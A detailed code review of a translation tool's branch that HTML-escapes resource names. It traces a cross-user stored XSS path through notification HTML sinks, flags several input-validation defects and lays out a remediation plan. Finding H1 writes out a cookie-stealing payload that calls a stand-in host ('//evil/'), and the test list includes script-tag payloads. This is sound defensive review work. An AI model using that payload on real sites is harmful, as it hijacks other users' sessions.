Review — escape TM key names instead of rejecting them

Verdict: request changes. The goal is right (users should be able to name a resource R&D — Client (2024)), but the chosen mechanism — HTML-escape on write, HTML-decode on read — converts an input that was previously rejected into one that is stored and then handed to dangerouslySetInnerHTML. As it stands the branch is net-negative on security. Four smaller defects come along with it.

Everything below was verified against the branch: PHP edge cases executed locally, frontend flow traced from the API response to the render sink, review done read-only (nothing checked out, temp ref deleted). CI is fully green (17/17, PHPStan + CodeQL + PHPMD included) — that is not evidence against these findings, see Why CI stayed green.

Findings

H1 — Decoding reintroduces cross-user stored XSS

The chain. htmlspecialchars on write stores <img src=x onerror=…>. TEXT_UTILS.decodeHtml (public/js/utils/textUtils.js ~:501) turns that back into live markup at three read sites:

• public/js/pages/CatTool.js:241 — user keys in the editor settings panel
• public/js/pages/NewProject.js:437 — user keys on project creation
• public/js/actions/CatToolActions.js ~:161 — job keys, which every collaborator on the job loads

The decoded value then reaches three notifications that pass allowHtml: true:

• ShareResource.js:53 — text: `The resource <b>${row.name}</b> has been shared.`
• TMKeyRow.js:327 — text: `The resource (<b>${row.name}</b>) has been successfully deleted`
• TMCreateResourceRow.js:172 (flag at :174) — text: `Resource <b>${name}</b> created successfully`

NotificationItem.js:134-143 renders those through dangerouslySetInnerHTML={allowHTML(text)}, and allowHTML is (string) => ({__html: string}). No sanitizer anywhere on the path.

Why it is cross-user, not self-XSS. TmKeyManager::shareKey() re-uids the owner's same tm_key struct into each recipient's key ring, so the name the owner chose is the name every recipient sees. CatToolActions decodes the job key list that every translator and reviewer on the job loads. So:

1. Attacker names a key <img src=x onerror=fetch('//evil/?c='+document.cookie)>. Stored escaped — request succeeds, no error.
2. Victim opens the settings panel. decodeHtml restores live markup into row.name.
3. Victim clicks share or delete on that resource. Payload executes in the victim's session.

Before this branch both gates made step 1 unreachable: UserKeysController::validateTheRequest() threw -3, and TmKeyManager::sanitize()'s allowlist regex stripped </> outright.

Remediation. Two parts, both worth doing:

Fix the sink — make the notification text a ReactNode instead of an HTML string. The bold survives, the user value stays a text node, and React escapes it:

CatToolActions.addNotification({
  title: 'Resource shared',
  type: 'success',
  text: <>The resource <b>{row.name}</b> has been shared.</>,
  position: 'br',
  timer: 5000,
})

Drop allowHtml: true from all three call sites. NotificationItem.js:145-149 already renders {text} safely in the non-HTML branch, and a ReactNode passes through it unchanged. Do this regardless of the storage decision — those sinks are unsafe for every other user-controlled value they receive, so this is a latent bug the branch merely made reachable.

Remove the need to decode — see H2. With raw storage there is nothing to decode, and decodeHtml plus its three call sites are deleted.

Longer term: allowHtml should accept only developer-authored constant strings, or be deleted. There are roughly twenty components using the allowHTML idiom; each is a place where one interpolated variable becomes an XSS.

H2 — Escaping at the input boundary is the wrong layer

Presentation encoding in the database forces every consumer to know the encoding. The name already flows to sinks with mutually incompatible rules:

Escaping on write does not remove the need for per-sink encoding — it hides it, and adds a decode step. That decode step is what created H1.

Encoded storage also breaks ordinary data operations: WHERE name LIKE '%R&D%' misses R&D; a 45-character column can truncate mid-entity into &am; uniqueness and dedup treat R&D and R&D as different values; sorting shifts.

Remediation. Store raw, validate on input, encode at each output. Full step-by-step in Remediation plan.

M3 — Missing ENT_SUBSTITUTE silently deletes names

Verified locally:

htmlspecialchars("Memoria \xC3 rotta", ENT_QUOTES, 'UTF-8')  →  "" (length 0)
htmlspecialchars("Memoria \xC3 rotta", ENT_QUOTES|ENT_SUBSTITUTE, 'UTF-8')  →  "Memoria � rotta"

htmlspecialchars returns the empty string on invalid UTF-8 unless ENT_SUBSTITUTE is set. Consequences on this branch:

• UserKeysController::validateTheRequest() — the empty result then hits 'description' => (!empty($description)) ? $description : null (:199), so the name is silently dropped to null and the API answers success: true.
• TmKeyManager::sanitize() — the name becomes ''.

Any latin-1 paste (a name copied out of a legacy CAT tool or an Excel export) loses the name with no error shown. Pre-branch, filter_var is byte-based and preserved such input.

Remediation. Validate the encoding explicitly and reject, rather than papering over it with a replacement character — a name is short enough that failing loudly is better than storing Memoria � rotta:

if (!mb_check_encoding($name, 'UTF-8')) {
    throw new InvalidArgumentException("Resource name is not valid UTF-8", -3);
}

If any escaping survives the rework for an unrelated reason, it must use ENT_QUOTES | ENT_SUBSTITUTE.

M4 — FILTER_FLAG_STRIP_LOW dropped

Verified: htmlspecialchars leaves "name\x00\x1b[31m\nsecond" byte-identical. Both call sites previously passed FILTER_FLAG_STRIP_LOW, so NUL, ESC and newlines were removed; now they persist into memory_keys.name and the jobs.tm_keys JSON blob, and from there into export filenames, MyMemory calls and log lines. The deliberateness of the old behaviour is visible in the deleted test, which asserted the removal of a message about non-printable characters.

Remediation. Strip invisible characters as part of input validation — see step 2 of the plan, which also covers zero-width and bidi-override spoofing that the old allowlist blocked only by accident.

M5 — Array-valued description now accepted

$this->request->param('description') returns an array for description[]=x. On this branch !empty($description) is true, (string)$description emits an "Array to string conversion" warning, and the literal string "Array" is stored. There is no set_error_handler under inc/ or lib/ to promote that warning, so the request succeeds.

Pre-branch, filter_var returned false for an array and the mismatch check threw -3.

Remediation. Type-guard first (included in step 2):

if (!is_string($name)) {
    throw new InvalidArgumentException("Resource name must be a string", -3);
}

L6 — decodeHtml(undefined) returns "undefined"

innerHTML is declared [LegacyNullToEmptyString] DOMString, so null maps to '' but undefined stringifies to "undefined" and comes back out of .value. A key arriving without a name property renders the word "undefined" in the panel.

Remediation. Moot once the helper is deleted (step 3). If it survives for another reason: decodeHtml: (text = '') => … or String(text ?? '').

L7 — Third duplicate decode helper

decodeHtmlEntities already exists in public/js/components/segments/utils/DraftMatecatUtils, and public/js/utils/contextPreviewUtils.js carries a variant. TEXT_UTILS.decodeHtml is the third. Consolidate or delete.

L8 — Test gaps

The PHP tests were properly inverted rather than deleted — the -3 assertions became escape assertions and the provider gained an expected-escape column. That part is good. Missing:

• Backend: invalid UTF-8 (M3), control characters (M4), array param (M5).
• Backend: round-trip idempotency. I verified escape → decode → escape is stable, which is why no & accumulation shows up today; nothing locks that in.
• Frontend: decodeHtml is untested, and neither CatTool.test.js nor NewProject.test.js was touched even though both now run the new mapping. public/CLAUDE.md asks for colocated tests and a green yarn test.

Concrete tests in Tests to add.

The pattern: store raw, encode per sink

Validation and encoding are different jobs at different layers. Conflating them is the root cause of H1–H5.

Three reasons this ordering is the right one:

One encoding cannot serve every sink. See the table in H2. htmlspecialchars is correct for exactly one destination out of eight and wrong-to-useless for the rest. Whatever you encode at input, you still need per-sink encoding at output — so input encoding buys nothing and costs a decode step.

The database is not a destination. It is a record of what the user meant. Once presentation encoding leaks in, search, length limits, uniqueness, sorting and dedup all operate on the wrong string.

Decoding is the dangerous half. Encoding at input forces a decode before editing. That produces a variable holding live markup inside a codebase where ~20 components can put a variable into dangerouslySetInnerHTML. H1 is that hazard realised. Raw storage never materialises live markup: React escapes text nodes by default, so the normal render path is safe with no ceremony, and the only unsafe places are the deliberate HTML sinks — which need fixing for all user data anyway.

The one case where encoded storage is correct is when the field is HTML — a rich-text body you intend to render as markup. There you store sanitized HTML (HTMLPurifier / DOMPurify with an allowlist), not escaped HTML, and the column is documented as HTML-typed. A resource name is plain text, so it is not that case.

Rule of thumb: escape as late as possible, and for the destination you are writing to.

Remediation plan

Ordered so each step is independently reviewable.

1. Keep the goal, drop the escape. Remove htmlspecialchars from UserKeysController::validateTheRequest() and from the name branch of TmKeyManager::sanitize() (:233-236). Names are stored raw.

2. Replace it with real input validation, in one place. TmKeyManager::sanitize() is already the choke point; the controller should call it rather than carry a second rule. ext-intl is a hard requirement in composer.json, so Normalizer is available:

if (!is_string($name)) {                                   // M5
    throw new InvalidArgumentException("Resource name must be a string", -3);
}
if (!mb_check_encoding($name, 'UTF-8')) {                   // M3
    throw new InvalidArgumentException("Resource name is not valid UTF-8", -3);
}
// M4: control and format characters are invisible. Cc covers NUL/ESC/newlines, Cf covers
// zero-width and bidi overrides used to spoof how a name reads. Everything printable stays;
// escaping is the output layer's job.
$name = preg_replace('/[\p{Cc}\p{Cf}]/u', '', $name);
$name = Normalizer::normalize(trim($name), Normalizer::FORM_C);
$name = mb_substr($name, 0, 255);

This closes M3, M4 and M5 in one place, and additionally blocks the invisible-character spoofing that the old allowlist blocked only as a side effect. Two notes: \p{Cc} includes tab and newline, which is what you want for a single-line name; \p{Cf} includes U+200D (ZWJ), so if emoji in resource names matter, exclude it — /[\p{Cc}\p{Cf}](?<!\x{200D})/u or an explicit character list.

3. Delete TEXT_UTILS.decodeHtml and its three call sites (CatTool.js:241, NewProject.js:437, CatToolActions.js ~:161). With raw storage there is nothing to decode. Closes L6 and L7.

4. Fix the three notification sinks to pass a ReactNode and drop allowHtml: true (ShareResource.js:53, TMKeyRow.js:327, TMCreateResourceRow.js:169-176). Closes H1 at the sink. Independently valuable.

5. Encode at each output, in the serializer that owns it. XML-escape in the TMX/XLIFF writer; formula-guard leading = + - @ in the glossary CSV writer; escape in the email template (PHPTAL's tal:content does this by default); rawurlencode for URLs; strip control characters for logs; sanitize the filename in useExport.js:29. json_encode and PDO placeholders already cover JSON and SQL. Closes H2. Reasonable to split into a follow-up PR provided step 4 lands with this one.

6. Add the tests — see below.

Tests to add

Backend

• Stored value is byte-identical to input across a payload set: <script>alert(1)</script>, R&D, "quoted", L'été, Memoria è rotta, an emoji name.
• Invalid UTF-8 ("Memoria \xC3 rotta") throws -3 and stores nothing — not null, not ''.
• Control characters ("a\x00b\x1bc\nd") are stripped, printable characters preserved.
• Array param (description[]=x) throws -3 and emits no PHP warning.
• Zero-width / bidi characters (U+200B, U+202E) are stripped.
• A query asserting no stored name matches /&(lt|gt|amp|quot|#0?39);/ after a create-and-read cycle — the invariant that guards against the pattern regressing.

Frontend

• A key named <img src=x onerror="…"> renders as text: queryByRole('img') is null and textContent contains the literal string. Add to both CatTool.test.js and NewProject.test.js, which already mock the key endpoints.
• The three notifications render the name as text with the <b> wrapper intact.

What the branch got right

• The user-facing goal is correct: rejecting & and ( in a resource name is a bad experience, and the old allowlist was far too narrow.
• Tests were inverted rather than deleted — the intent change is legible in the diff.
• No legacy-data hazard was introduced, because pre-branch storage is entity-free.
• mergeJsonKeys (TmKeyManager.php:320) escapes only client-submitted keys, not job keys, so server-side reads do not re-escape. Combined with the verified idempotency of escape → decode → escape, that is why no & accumulation appears today.

Why CI stayed green

All 17 checks pass, including PHPStan, PHPMD and CodeQL. That is expected and does not contradict H1:

• The taint flows through allowHTML's {__html: string} return, an indirection CodeQL's default JavaScript query set does not follow to a dangerouslySetInnerHTML prop, and the source is a server API response rather than a recognised DOM-local source.
• PHPStan sees (string)$mixed and htmlspecialchars(string) as well-typed. Both are — the defect is semantic.
• No existing test asserted the old strip behaviour for name, so nothing failed.

The gap is coverage, not configuration: no test asserts that a stored resource name reaches the DOM as text.